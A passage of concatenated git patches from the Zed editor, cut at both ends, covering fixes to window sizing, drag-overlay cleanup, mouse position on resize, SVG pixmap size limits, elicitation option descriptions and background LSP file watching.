     let current_window_center = window.bounds().center();
-    let height = px(450.);
-    let width = px(350.);
+    let width = px(450.);
+    let height = px(350.);
     let window_bounds = WindowBounds::Windowed(gpui::bounds(
-        current_window_center - point(height / 2.0, width / 2.0),
-        gpui::size(height, width),
+        current_window_center - point(width / 2.0, height / 2.0),
+        gpui::size(width, height),
     ));
+    let app_id = ReleaseChannel::global(cx).app_id();
     cx.open_window(
         WindowOptions {
             kind: gpui::WindowKind::Floating,
@@ -68,9 +70,11 @@ fn open_copilot_code_verification_window(copilot: &Entity<Copilot>, window: &Win
             is_resizable: false,
             is_movable: true,
             titlebar: Some(gpui::TitlebarOptions {
+                title: Some("Use GitHub Copilot in Zed".into()),
                 appears_transparent: true,
                 ..Default::default()
             }),
+            app_id: Some(app_id.to_owned()),
             ..Default::default()
         },
         |window, cx| cx.new(|cx| CopilotCodeVerification::new(&copilot, window, cx)),

From 693962917b5a015949ad2e768bc10ea169d41546 Mon Sep 17 00:00:00 2001
From: Xiaobo Liu <cppcoffee@gmail.com>
Date: Tue, 7 Jul 2026 18:39:29 +0800
Subject: [PATCH 306/772] gpui: Fix clear drag overlay when external drag ends
 outside window (#45759)

Release Notes:

- Fixed clear drag overlay when external drag ends outside window



When dragging files from macOS Finder over the project panel and then
dragging back to Finder, the drag overlay remained visible because the
drag state was not properly cleaned up.

The root cause was that only `draggingExited:` was handled, but not
`draggingEnded:`. On macOS:
- `draggingExited:` is called when the drag leaves the window area
- `draggingEnded:` is called when the drag operation ends entirely

When a user drags a file back to Finder and drops it there,
`draggingEnded:` is called but was not being handled.

---------

Signed-off-by: Xiaobo Liu <cppcoffee@gmail.com>
---
 crates/gpui/src/elements/div.rs           | 47 ++++++++++++++++++--
 crates/project_panel/src/project_panel.rs | 52 ++++++++++++-----------
 2 files changed, 71 insertions(+), 28 deletions(-)

diff --git a/crates/gpui/src/elements/div.rs b/crates/gpui/src/elements/div.rs
index 4a61069a0a9b71..ebbce8f84c9d7d 100644
--- a/crates/gpui/src/elements/div.rs
+++ b/crates/gpui/src/elements/div.rs
@@ -21,10 +21,10 @@ use crate::{
     Display, Element, ElementId, Entity, EntityId, FocusHandle, Global, GlobalElementId, Hitbox,
     HitboxBehavior, HitboxId, InspectorElementId, IntoElement, IsZero, KeyContext, KeyDownEvent,
     KeyUpEvent, KeyboardButton, KeyboardClickEvent, LayoutId, ModifiersChangedEvent, MouseButton,
-    MouseClickEvent, MouseDownEvent, MouseMoveEvent, MousePressureEvent, MouseUpEvent, Overflow,
-    ParentElement, Pixels, Point, Render, ScrollWheelEvent, SharedString, Size, Style,
-    StyleRefinement, Styled, Task, TooltipId, Visibility, Window, WindowControlArea, point, px,
-    size,
+    MouseClickEvent, MouseDownEvent, MouseExitEvent, MouseMoveEvent, MousePressureEvent,
+    MouseUpEvent, Overflow, ParentElement, Pixels, Point, Render, ScrollWheelEvent, SharedString,
+    Size, Style, StyleRefinement, Styled, Task, TooltipId, Visibility, Window, WindowControlArea,
+    point, px, size,
 };
 use collections::HashMap;
 use gpui_util::ResultExt;
@@ -305,6 +305,22 @@ impl Interactivity {
             }));
     }
 
+    /// Bind the given callback to the mouse exit event, during the bubble phase.
+    /// The imperative API equivalent to [`InteractiveElement::on_mouse_exit`].
+    ///
+    /// See [`Context::listener`](crate::Context::listener) to get access to a view's state from this callback.
+    pub fn on_mouse_exit(
+        &mut self,
+        listener: impl Fn(&MouseExitEvent, &mut Window, &mut App) + 'static,
+    ) {
+        self.mouse_exit_listeners
+            .push(Box::new(move |event, phase, hitbox, window, cx| {
+                if phase == DispatchPhase::Bubble && hitbox.is_hovered(window) {
+                    (listener)(event, window, cx);
+                }
+            }));
+    }
+
     /// Bind the given callback to the mouse drag event of the given type. Note that this
     /// will be called for all move events, inside or outside of this element, as long as the
     /// drag was started with this element under the mouse. Useful for implementing draggable
@@ -919,6 +935,18 @@ pub trait InteractiveElement: Sized {
         self
     }
 
+    /// Bind the given callback to the mouse exit event, during the bubble phase.
+    /// The fluent API equivalent to [`Interactivity::on_mouse_exit`].
+    ///
+    /// See [`Context::listener`](crate::Context::listener) to get access to a view's state from this callback.
+    fn on_mouse_exit(
+        mut self,
+        listener: impl Fn(&MouseExitEvent, &mut Window, &mut App) + 'static,
+    ) -> Self {
+        self.interactivity().on_mouse_exit(listener);
+        self
+    }
+
     /// Bind the given callback to the mouse drag event of the given type. Note that this
     /// will be called for all move events, inside or outside of this element, as long as the
     /// drag was started with this element under the mouse. Useful for implementing draggable
@@ -1525,6 +1553,8 @@ pub(crate) type MousePressureListener =
     Box<dyn Fn(&MousePressureEvent, DispatchPhase, &Hitbox, &mut Window, &mut App) + 'static>;
 pub(crate) type MouseMoveListener =
     Box<dyn Fn(&MouseMoveEvent, DispatchPhase, &Hitbox, &mut Window, &mut App) + 'static>;
+pub(crate) type MouseExitListener =
+    Box<dyn Fn(&MouseExitEvent, DispatchPhase, &Hitbox, &mut Window, &mut App) + 'static>;
 
 pub(crate) type ScrollWheelListener =
     Box<dyn Fn(&ScrollWheelEvent, DispatchPhase, &Hitbox, &mut Window, &mut App) + 'static>;
@@ -1907,6 +1937,7 @@ pub struct Interactivity {
     pub(crate) mouse_up_listeners: Vec<MouseUpListener>,
     pub(crate) mouse_pressure_listeners: Vec<MousePressureListener>,
     pub(crate) mouse_move_listeners: Vec<MouseMoveListener>,
+    pub(crate) mouse_exit_listeners: Vec<MouseExitListener>,
     pub(crate) scroll_wheel_listeners: Vec<ScrollWheelListener>,
     pub(crate) pinch_listeners: Vec<PinchListener>,
     pub(crate) key_down_listeners: Vec<KeyDownListener>,
@@ -2152,6 +2183,7 @@ impl Interactivity {
             || !self.mouse_pressure_listeners.is_empty()
             || !self.mouse_down_listeners.is_empty()
             || !self.mouse_move_listeners.is_empty()
+            || !self.mouse_exit_listeners.is_empty()
             || !self.click_listeners.is_empty()
             || !self.aux_click_listeners.is_empty()
             || !self.scroll_wheel_listeners.is_empty()
@@ -2531,6 +2563,13 @@ impl Interactivity {
             })
         }
 
+        for listener in self.mouse_exit_listeners.drain(..) {
+            let hitbox = hitbox.clone();
+            window.on_mouse_event(move |event: &MouseExitEvent, phase, window, cx| {
+                listener(event, phase, &hitbox, window, cx);
+            })
+        }
+
         for listener in self.scroll_wheel_listeners.drain(..) {
             let hitbox = hitbox.clone();
             window.on_mouse_event(move |event: &ScrollWheelEvent, phase, window, cx| {
diff --git a/crates/project_panel/src/project_panel.rs b/crates/project_panel/src/project_panel.rs
index bf3b33efc725c2..4dfa07b6b2c482 100644
--- a/crates/project_panel/src/project_panel.rs
+++ b/crates/project_panel/src/project_panel.rs
@@ -24,10 +24,10 @@ use gpui::{
     ClipboardItem, Context, CursorStyle, DismissEvent, Div, DragMoveEvent, Entity, EventEmitter,
     ExternalPaths, FocusHandle, Focusable, FontWeight, Hsla, InteractiveElement, KeyContext,
     ListHorizontalSizingBehavior, ListSizingBehavior, Modifiers, ModifiersChangedEvent,
-    MouseButton, MouseDownEvent, ParentElement, PathPromptOptions, Pixels, Point, PromptLevel,
-    Render, ScrollStrategy, Stateful, Styled, Subscription, Task, UniformListScrollHandle,
-    WeakEntity, Window, actions, anchored, deferred, div, hsla, linear_color_stop, linear_gradient,
-    point, px, size, transparent_white, uniform_list,
+    MouseButton, MouseDownEvent, MouseExitEvent, ParentElement, PathPromptOptions, Pixels, Point,
+    PromptLevel, Render, ScrollStrategy, Stateful, Styled, Subscription, Task,
+    UniformListScrollHandle, WeakEntity, Window, actions, anchored, deferred, div, hsla,
+    linear_color_stop, linear_gradient, point, px, size, transparent_white, uniform_list,
 };
 use language::DiagnosticSeverity;
 use markdown_preview::markdown_preview_view::MarkdownPreviewView;
@@ -2128,8 +2128,7 @@ impl ProjectPanel {
 
     fn cancel(&mut self, _: &menu::Cancel, window: &mut Window, cx: &mut Context<Self>) {
         if cx.stop_active_drag(window) {
-            self.drag_target_entry.take();
-            self.hover_expand_task.take();
+            self.clear_drag_state(cx);
             return;
         }
         self.marked_entries.clear();
@@ -4713,6 +4712,17 @@ impl ProjectPanel {
         }
     }
 
+    fn clear_drag_state(&mut self, cx: &mut Context<Self>) {
+        let had_drag_state = self.drag_target_entry.take().is_some()
+            | self.folded_directory_drag_target.take().is_some()
+            | self.hover_scroll_task.take().is_some()
+            | self.hover_expand_task.take().is_some()
+            | self.previous_drag_position.take().is_some();
+        if had_drag_state {
+            cx.notify();
+        }
+    }
+
     fn is_copy_modifier_set(modifiers: &Modifiers) -> bool {
         cfg!(target_os = "macos") && modifiers.alt
             || cfg!(not(target_os = "macos")) && modifiers.control
@@ -5756,8 +5766,7 @@ impl ProjectPanel {
                     ))
                     .on_drop(cx.listener(
                         move |this, external_paths: &ExternalPaths, window, cx| {
-                            this.drag_target_entry = None;
-                            this.hover_scroll_task.take();
+                            this.clear_drag_state(cx);
                             this.drop_external_files(external_paths.paths(), entry_id, window, cx);
                             cx.stop_propagation();
                         },
@@ -5886,9 +5895,7 @@ impl ProjectPanel {
                     })
                     .on_drop(cx.listener(
                         move |this, selections: &DraggedSelection, window, cx| {
-                            this.drag_target_entry = None;
-                            this.hover_scroll_task.take();
-                            this.hover_expand_task.take();
+                            this.clear_drag_state(cx);
                             if folded_directory_drag_target.is_some() {
                                 return;
                             }
@@ -6281,9 +6288,7 @@ impl ProjectPanel {
                                     ))
                                     .on_drop(cx.listener(
                                         move |this, selections: &DraggedSelection, window, cx| {
-                                            this.hover_scroll_task.take();
-                                            this.drag_target_entry = None;
-                                            this.folded_directory_drag_target = None;
+                                            this.clear_drag_state(cx);
                                             if let Some(target_entry_id) = target_entry_id {
                                                 this.drag_onto(
                                                     selections,
@@ -6380,9 +6385,7 @@ impl ProjectPanel {
                 div.when(drag_and_drop_enabled, |div| {
                     div.on_drop(cx.listener(
                         move |this, selections: &DraggedSelection, window, cx| {
-                            this.hover_scroll_task.take();
-                            this.drag_target_entry = None;
-                            this.folded_directory_drag_target = None;
+                            this.clear_drag_state(cx);
                             if let Some(target_entry_id) = target_entry_id {
                                 this.drag_onto(selections, target_entry_id, is_file, window, cx);
                             }
@@ -6855,7 +6858,7 @@ impl Render for ProjectPanel {
                 this.previous_drag_position = Some(e.event.position);
 
                 if !e.bounds.contains(&e.event.position) {
-                    this.drag_target_entry = None;
+                    this.clear_drag_state(cx);
                     return;
                 }
                 this.hover_scroll_task.take();
@@ -6912,6 +6915,10 @@ impl Render for ProjectPanel {
                 .when(panel_settings.drag_and_drop, |this| {
                     this.on_drag_move(cx.listener(handle_drag_move::<ExternalPaths>))
                         .on_drag_move(cx.listener(handle_drag_move::<DraggedSelection>))
+                        .on_mouse_exit(cx.listener(|this, _: &MouseExitEvent, window, cx| {
+                            cx.stop_active_drag(window);
+                            this.clear_drag_state(cx);
+                        }))
                 })
                 .size_full()
                 .relative()
@@ -7298,8 +7305,7 @@ impl Render for ProjectPanel {
                                 ))
                                 .on_drop(cx.listener(
                                     move |this, external_paths: &ExternalPaths, window, cx| {
-                                        this.drag_target_entry = None;
-                                        this.hover_scroll_task.take();
+                                        this.clear_drag_state(cx);
                                         if let Some(entry_id) = this.state.last_worktree_root_id {
                                             this.drop_external_files(
                                                 external_paths.paths(),
@@ -7313,8 +7319,7 @@ impl Render for ProjectPanel {
                                 ))
                                 .on_drop(cx.listener(
                                     move |this, selections: &DraggedSelection, window, cx| {
-                                        this.drag_target_entry = None;
-                                        this.hover_scroll_task.take();
+                                        this.clear_drag_state(cx);
                                         if let Some(entry_id) = this.state.last_worktree_root_id {
                                             this.drag_onto(selections, entry_id, false, window, cx);
                                         }
@@ -7439,8 +7444,7 @@ impl Render for ProjectPanel {
                         })
                         .on_drop(cx.listener(
                             move |this, external_paths: &ExternalPaths, window, cx| {
-                                this.drag_target_entry = None;
-                                this.hover_scroll_task.take();
+                                this.clear_drag_state(cx);
                                 if let Some(task) = this
                                     .workspace
                                     .update(cx, |workspace, cx| {

From 961f4f202465629fe00ccf55bd9ebf01d643b931 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=BF=B7=E6=B8=A1?= <justjavac@gmail.com>
Date: Tue, 7 Jul 2026 18:59:45 +0800
Subject: [PATCH 307/772] gpui: Refresh mouse position after bounds changes
 (#60421)

## Summary

- Refresh GPUI's cached mouse position when window bounds change so
hover hit-testing uses the current cursor position after live resize.
- Return X11 mouse positions in window-relative logical pixels to keep
`PlatformWindow::mouse_position()` consistent with other backends.

Fixes #57354

## Testing

- `cargo fmt -p gpui -p gpui_linux`
- `cargo check -p gpui_linux`
- `cargo check -p gpui`

## Suggested .rules additions

- In GPUI platform backends, `PlatformWindow::mouse_position()` should
return window-relative logical pixels; use separate APIs or fields for
global/device-pixel coordinates.

Release Notes:

- Fixed incorrect hover state while resizing GPUI windows.
---
 crates/gpui/src/window.rs                 | 1 +
 crates/gpui_linux/src/linux/x11/window.rs | 6 +++++-
 2 files changed, 6 insertions(+), 1 deletion(-)

diff --git a/crates/gpui/src/window.rs b/crates/gpui/src/window.rs
index fcf10ac5576dfe..f4bd64ecba51b0 100644
--- a/crates/gpui/src/window.rs
+++ b/crates/gpui/src/window.rs
@@ -2250,6 +2250,7 @@ impl Window {
         self.scale_factor = self.platform_window.scale_factor();
         self.viewport_size = self.platform_window.content_size();
         self.display_id = self.platform_window.display().map(|display| display.id());
+        self.mouse_position = self.platform_window.mouse_position();
 
         self.refresh();
 
diff --git a/crates/gpui_linux/src/linux/x11/window.rs b/crates/gpui_linux/src/linux/x11/window.rs
index 147630d054d180..d2edb72408bed9 100644
--- a/crates/gpui_linux/src/linux/x11/window.rs
+++ b/crates/gpui_linux/src/linux/x11/window.rs
@@ -1410,7 +1410,11 @@ impl PlatformWindow for X11Window {
         )
         .log_err()
         .map_or(Point::new(Pixels::ZERO, Pixels::ZERO), |reply| {
-            Point::new((reply.root_x as u32).into(), (reply.root_y as u32).into())
+            let scale_factor = self.0.state.borrow().scale_factor;
+            Point::new(
+                px(reply.win_x as f32 / scale_factor),
+                px(reply.win_y as f32 / scale_factor),
+            )
         })
     }
 

From fbd911ed3e0fdb98ab5ae7a66679774d4986db0a Mon Sep 17 00:00:00 2001
From: Lillian Rose <118373811+lillianrubyrose@users.noreply.github.com>
Date: Tue, 7 Jul 2026 11:04:15 +0000
Subject: [PATCH 308/772] Limit SVG Pixmap size to avoid GPUI texture
 allocation errors (#56468)

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
(Arguably no, but it's an okay compromise methinks)
- [ ] Tests cover the new/changed behavior (I'm unsure how one would
properly test this, sorry!)
- [x] Performance impact has been considered and is acceptable

Closes #56466

To be completely honest I don't know if this is a good fix or not, it
does fix the problem I was running into where opening the large mermaid
diagram would blow up VRAM. It doesn't look amazing visually but I would
consider this behavior better, if it's not a good fix then that's okay:)

I chose 8192 because 8192 only brings VRAM usage up ~100MB in my testing
while 16384 brought my VRAM usage up to about 1GB from 150-200MB, for
lower end systems this seems unacceptable.

Before:
I can't take a screenshot of the before at this point because it eats my
system VRAM & Memory too fast. As a text description; It would show a
large empty rectangle where the mermaid diagram should be and blow up
Zed's VRAM usage from ~300MB to ~22GB (all of the available VRAM in my
system)

After:
<img width="1698" height="763" alt="image"
src="https://github.com/user-attachments/assets/62eb7c95-cca8-43f9-8257-c7e529f26e8d"
/>
<img width="1000" height="31" alt="image"
src="https://github.com/user-attachments/assets/4315c029-3cdd-44f6-ac78-971d125ab700"
/> (Up from ~150MB), the 257MiB figure is the GPU Memory.

Release Notes:

- N/A?

Co-authored-by: Lukas Wirth <lukas@zed.dev>
---
 crates/gpui/src/svg_renderer.rs | 19 ++++++++++++++++++-
 1 file changed, 18 insertions(+), 1 deletion(-)

diff --git a/crates/gpui/src/svg_renderer.rs b/crates/gpui/src/svg_renderer.rs
index 5abd3341d22b07..35124b15ef8b4b 100644
--- a/crates/gpui/src/svg_renderer.rs
+++ b/crates/gpui/src/svg_renderer.rs
@@ -228,13 +228,30 @@ impl SvgRenderer {
     }
 
     fn render_pixmap(&self, bytes: &[u8], size: SvgSize) -> Result<Pixmap, usvg::Error> {
+        // Cap the size of the rendered pixmap to avoid texture allocation panics
+        // Related issue: #56466
+        const MAX_SIZE: f32 = 8192.0;
+
         let tree = usvg::Tree::from_data(bytes, &self.usvg_options)?;
         let svg_size = tree.size();
-        let scale = match size {
+        let mut scale = match size {
             SvgSize::Size(size) => size.width.0 as f32 / svg_size.width(),
             SvgSize::ScaleFactor(scale) => scale,
         };
 
+        let width = svg_size.width() * scale;
+        if width > MAX_SIZE {
+            log::warn!("Attempted to render pixmap where width ({width}) > MAX_SIZE ({MAX_SIZE})");
+            scale *= MAX_SIZE / width;
+        }
+        let height = svg_size.height() * scale;
+        if height > MAX_SIZE {
+            log::warn!(
+                "Attempted to render pixmap where height ({height}) > MAX_SIZE ({MAX_SIZE})"
+            );
+            scale *= MAX_SIZE / height;
+        }
+
         // Render the SVG to a pixmap with the specified width and height.
         let mut pixmap = resvg::tiny_skia::Pixmap::new(
             (svg_size.width() * scale) as u32,

From c05b439174c95a51df92a797c2a17933ae44a59e Mon Sep 17 00:00:00 2001
From: Ben Brandt <benjamin.j.brandt@gmail.com>
Date: Tue, 7 Jul 2026 13:45:59 +0200
Subject: [PATCH 309/772] acp: Show descriptions for elicitation options
 (#60527)

<img width="683" height="781" alt="image"
src="https://github.com/user-attachments/assets/bcf1bc75-9bb4-4ddf-88d8-c09a4aa3f34b"
/>


Release Notes:

- N/A
---
 Cargo.lock                                    |  12 +-
 Cargo.toml                                    |   2 +-
 .../src/conversation_view/elicitation.rs      | 117 ++++++++++++++----
 3 files changed, 102 insertions(+), 29 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 1ada6ef9e5ce01..c0711dee737037 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -322,9 +322,9 @@ dependencies = [
 
 [[package]]
 name = "agent-client-protocol"
-version = "1.0.1"
+version = "1.1.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "16302d16c7531355db16593d99c38c8297db0c4653aa7dd80c3556bb17f4cd8c"
+checksum = "ed34c8297a72c9d99fc7493ba6370f45c69fdcd51fdfb469d80f266cf63e5a98"
 dependencies = [
  "agent-client-protocol-derive",
  "agent-client-protocol-schema",
@@ -344,9 +344,9 @@ dependencies = [
 
 [[package]]
 name = "agent-client-protocol-derive"
-version = "1.0.1"
+version = "1.1.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "88b37d552feb6981a0109febda6b71fc723678cd065974c2d76279c19c407095"
+checksum = "0de0877cd41073fa0a124edb972df0d02e88c70adde11f49cf2231fd63aae738"
 dependencies = [
  "quote",
  "syn 2.0.117",
@@ -354,9 +354,9 @@ dependencies = [
 
 [[package]]
 name = "agent-client-protocol-schema"
-version = "1.1.0"
+version = "1.4.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ac542aba230234b1591ace7286a47c0514fe3efc3037d43296bde31ba7ee5728"
+checksum = "06679e1542356341f4550ccfb16338b64f37f6af70de2105446ef6fbb078234c"
 dependencies = [
  "anyhow",
  "derive_more",
diff --git a/Cargo.toml b/Cargo.toml
index 15c7b4401a08bf..3611fce865bde9 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -508,7 +508,7 @@ accesskit = "0.24.0"
 accesskit_macos = "0.26.0"
 accesskit_unix = "0.21.0"
 accesskit_windows = "0.33.1"
-agent-client-protocol = { version = "=1.0.1", features = ["unstable"] }
+agent-client-protocol = { version = "=1.1.0", features = ["unstable"] }
 aho-corasick = "1.1"
 alacritty_terminal = { git = "https://github.com/zed-industries/alacritty", rev = "4c129667ce56611becdc82de6e28218c80e2e88f" }
 any_vec = "0.14"
diff --git a/crates/agent_ui/src/conversation_view/elicitation.rs b/crates/agent_ui/src/conversation_view/elicitation.rs
index ae3f3a81b85517..3eaaa0652bd8ab 100644
--- a/crates/agent_ui/src/conversation_view/elicitation.rs
+++ b/crates/agent_ui/src/conversation_view/elicitation.rs
@@ -16,6 +16,7 @@ use ui::{
 struct ElicitationOption {
     value: String,
     label: SharedString,
+    description: Option<SharedString>,
 }
 
 enum ElicitationFieldState {
@@ -429,6 +430,51 @@ mod tests {
         );
     }
 
+    #[test]
+    fn single_select_options_include_titled_descriptions() {
+        let schema = acp::StringPropertySchema::new().one_of(vec![
+            acp::EnumOption::new("production", "Production").description("Use live resources"),
+        ]);
+
+        let options = single_select_options(&schema);
+
+        let [option] = options.as_slice() else {
+            panic!("expected one option, got {}", options.len());
+        };
+        assert_eq!(option.value, "production");
+        assert_eq!(option.label.to_string(), "Production");
+        assert_eq!(
+            option
+                .description
+                .as_ref()
+                .map(|description| description.to_string()),
+            Some("Use live resources".to_string())
+        );
+    }
+
+    #[test]
+    fn multi_select_options_include_titled_descriptions() {
+        let schema = acp::MultiSelectPropertySchema::titled(vec![
+            acp::EnumOption::new("repository", "Repository Access")
+                .description("Read and update repositories"),
+        ]);
+
+        let options = multi_select_options(&schema);
+
+        let [option] = options.as_slice() else {
+            panic!("expected one option, got {}", options.len());
+        };
+        assert_eq!(option.value, "repository");
+        assert_eq!(option.label.to_string(), "Repository Access");
+        assert_eq!(
+            option
+                .description
+                .as_ref()
+                .map(|description| description.to_string()),
+            Some("Read and update repositories".to_string())
+        );
+    }
+
     #[gpui::test]
     fn form_state_preserves_string_whitespace(cx: &mut TestAppContext) {
         crate::conversation_view::tests::init_test(cx);
@@ -773,8 +819,10 @@ fn preview_form_schema() -> acp::ElicitationSchema {
                 .title("Environment")
                 .description("Select the environment this credential should target.")
                 .one_of(vec![
-                    acp::EnumOption::new("production", "Production"),
-                    acp::EnumOption::new("staging", "Staging"),
+                    acp::EnumOption::new("production", "Production")
+                        .description("Use the live account and production resources."),
+                    acp::EnumOption::new("staging", "Staging")
+                        .description("Validate changes against staging data first."),
                     acp::EnumOption::new("development", "Development"),
                 ])
                 .default_value("staging"),
@@ -783,8 +831,10 @@ fn preview_form_schema() -> acp::ElicitationSchema {
         .property(
             "scopes",
             acp::MultiSelectPropertySchema::titled(vec![
-                acp::EnumOption::new("profile", "Profile"),
-                acp::EnumOption::new("repository", "Repository Access"),
+                acp::EnumOption::new("profile", "Profile")
+                    .description("Read account identity and basic profile details."),
+                acp::EnumOption::new("repository", "Repository Access")
+                    .description("Read and update repositories connected to this account."),
                 acp::EnumOption::new("terminal", "Terminal Commands"),
             ])
             .title("Access")
@@ -810,6 +860,7 @@ fn single_select_options(schema: &acp::StringPropertySchema) -> Vec<ElicitationO
             .map(|option| ElicitationOption {
                 value: option.value.clone(),
                 label: SharedString::from(option.title.clone()),
+                description: option.description.clone().map(SharedString::from),
             })
             .collect();
     }
@@ -822,6 +873,7 @@ fn single_select_options(schema: &acp::StringPropertySchema) -> Vec<ElicitationO
         .map(|value| ElicitationOption {
             value: value.clone(),
             label: SharedString::from(value.clone()),
+            description: None,
         })
         .collect()
 }
@@ -843,12 +895,13 @@ fn single_select_default_value(
 
 fn multi_select_options(schema: &acp::MultiSelectPropertySchema) -> Vec<ElicitationOption> {
     match &schema.items {
-        acp::MultiSelectItems::Untitled(items) => items
+        acp::MultiSelectItems::String(items) => items
             .values
             .iter()
             .map(|value| ElicitationOption {
                 value: value.clone(),
                 label: SharedString::from(value.clone()),
+                description: None,
             })
             .collect(),
         acp::MultiSelectItems::Titled(items) => items
@@ -857,6 +910,7 @@ fn multi_select_options(schema: &acp::MultiSelectPropertySchema) -> Vec<Elicitat
             .map(|option| ElicitationOption {
                 value: option.value.clone(),
                 label: SharedString::from(option.title.clone()),
+                description: option.description.clone().map(SharedString::from),
             })
             .collect(),
         _ => Vec::new(),
@@ -1310,11 +1364,7 @@ impl<'a> ElicitationCard<'a> {
                                 cx,
                             );
                         })
-                        .child(
-                            div()
-                                .mt_0p5()
-                                .child(Checkbox::new(checkbox_id, checkbox_state)),
-                        )
+                        .child(div().child(Checkbox::new(checkbox_id, checkbox_state)))
                         .child(
                             v_flex()
                                 .gap_0p5()
@@ -1412,8 +1462,8 @@ impl<'a> ElicitationCard<'a> {
                                 )))
                                 .w_full()
                                 .min_h(rems_from_px(28.))
-                                .items_center()
-                                .gap_2()
+                                .items_start()
+                                .gap_1p5()
                                 .rounded_sm()
                                 .border_1()
                                 .border_color(field_border_color.opacity(0.5))
@@ -1430,8 +1480,8 @@ impl<'a> ElicitationCard<'a> {
                                         cx,
                                     );
                                 })
-                                .child(Checkbox::new(checkbox_id, checkbox_state))
-                                .child(Label::new(option.label).size(LabelSize::Small).truncate())
+                                .child(div().child(Checkbox::new(checkbox_id, checkbox_state)))
+                                .child(Self::render_option_content(option))
                         }))
                         .into_any_element()
                 }
@@ -1479,8 +1529,8 @@ impl<'a> ElicitationCard<'a> {
                     .id(option_id)
                     .w_full()
                     .min_h(rems_from_px(28.))
-                    .items_center()
-                    .gap_2()
+                    .items_start()
+                    .gap_1p5()
                     .rounded_sm()
                     .border_1()
                     .border_color(border_color.opacity(0.5))
@@ -1496,16 +1546,39 @@ impl<'a> ElicitationCard<'a> {
                             cx,
                         );
                     })
-                    .child(Self::render_radio_indicator(
-                        is_selected,
-                        border_color,
-                        control_background,
-                    ))
-                    .child(Label::new(option.label).size(LabelSize::Small).truncate())
+                    .child(
+                        div()
+                            .size(Checkbox::container_size())
+                            .flex_none()
+                            .flex()
+                            .items_center()
+                            .justify_center()
+                            .child(Self::render_radio_indicator(
+                                is_selected,
+                                border_color,
+                                control_background,
+                            )),
+                    )
+                    .child(Self::render_option_content(option))
             }))
             .into_any_element()
     }
 
+    fn render_option_content(option: ElicitationOption) -> Div {
+        v_flex()
+            .min_w_0()
+            .flex_1()
+            .gap_0p5()
+            .child(Label::new(option.label).size(LabelSize::Small).truncate())
+            .when_some(option.description, |this, description| {
+                this.child(
+                    Label::new(description)
+                        .size(LabelSize::Small)
+                        .color(Color::Muted),
+                )
+            })
+    }
+
     fn option_row_background(is_selected: bool, cx: &App) -> Hsla {
         let editor_background = cx.theme().colors().editor_background;
         if is_selected {

From f360136f199373607c4449414145b3287baa5d85 Mon Sep 17 00:00:00 2001
From: Lukas Wirth <lukas@zed.dev>
Date: Tue, 7 Jul 2026 13:48:14 +0200
Subject: [PATCH 310/772] project: Create LSP file watcher on the background
 (#60530)

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 crates/project/src/lsp_store.rs | 7 ++++++-
 crates/session/src/session.rs   | 8 +++-----
 2 files changed, 9 insertions(+), 6 deletions(-)

diff --git a/crates/project/src/lsp_store.rs b/crates/project/src/lsp_store.rs
index 666ba714f97399..96f02fcb778f79 100644
--- a/crates/project/src/lsp_store.rs
+++ b/crates/project/src/lsp_store.rs
@@ -14409,7 +14409,12 @@ impl LanguageServerWatchedPaths {
         cx.spawn({
             async move |_, cx| {
                 maybe!(async move {
-                    let mut push_updates = fs.watch(&abs_path, LSP_ABS_PATH_OBSERVE).await;
+                    let mut push_updates = cx
+                        .background_spawn({
+                            let abs_path = abs_path.clone();
+                            async move { fs.watch(&abs_path, LSP_ABS_PATH_OBSERVE).await }
+                        })
+                        .await;
                     while let Some(update) = push_updates.0.next().await {
                         let action = lsp_store
                             .update(cx, |this, _| {
diff --git a/crates/session/src/session.rs b/crates/session/src/session.rs
index 76f2398b382cf1..04109ce1b2f19e 100644
--- a/crates/session/src/session.rs
+++ b/crates/session/src/session.rs
@@ -70,8 +70,7 @@ impl AppSession {
     pub fn new(session: Session, cx: &Context<Self>) -> Self {
         let _subscriptions = vec![cx.on_app_quit(Self::app_will_quit)];
 
-        #[cfg(not(any(test, feature = "test-support")))]
-        let _serialization_task = {
+        let _serialization_task = if cfg!(not(any(test, feature = "test-support"))) {
             let db = KeyValueStore::global(cx);
             cx.spawn(async move |_, cx| {
                 // Disabled in tests: the infinite loop bypasses "parking forbidden" checks,
@@ -92,11 +91,10 @@ impl AppSession {
                     }
                 }
             })
+        } else {
+            Task::ready(())
         };
 
-        #[cfg(any(test, feature = "test-support"))]
-        let _serialization_task = Task::ready(());
-
         Self {
             session,
             _subscriptions,

From a94fa5cf1913b0d80dfaf8fa495486091ac79cb7 Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Tue, 7 Jul 2026 09:15:07 -0300
Subject: [PATCH 311/772] git_graph: Add design adjustments (#60469)

This PR adds adjustments to the tree view, making it more consistent
with all other tree view displays in the app (e.g., displaying indent
guides, removing chevron toggle, etc.), and also fixes an issue where
the commit message scrollbar was scrolling up with the message.

Release Notes:

- N/A
---
 crates/git_ui/src/git_graph.rs            | 200 +++++++++++-----------
 crates/git_ui/src/git_panel.rs            |  46 +----
 crates/git_ui/src/project_diff.rs         |   6 +-
 crates/outline_panel/src/outline_panel.rs |   2 +-
 crates/project_panel/src/project_panel.rs |   6 +-
 crates/ui/src/components/data_table.rs    |   8 +-
 crates/ui/src/components/indent_guides.rs |  17 +-
 7 files changed, 137 insertions(+), 148 deletions(-)

diff --git a/crates/git_ui/src/git_graph.rs b/crates/git_ui/src/git_graph.rs
index b360e1ec578395..90efa57d228609 100644
--- a/crates/git_ui/src/git_graph.rs
+++ b/crates/git_ui/src/git_graph.rs
@@ -52,7 +52,7 @@ use theme::AccentColors;
 use time::{OffsetDateTime, UtcOffset, format_description::BorrowedFormatItem};
 use ui::{
     Chip, ColumnWidthConfig, CommonAnimationExt as _, ContextMenu, ContextMenuEntry, DiffStat,
-    Divider, HeaderResizeInfo, HighlightedLabel, ListItem, ListItemSpacing,
+    Divider, HeaderResizeInfo, HighlightedLabel, IndentGuideColors, ListItem, ListItemSpacing,
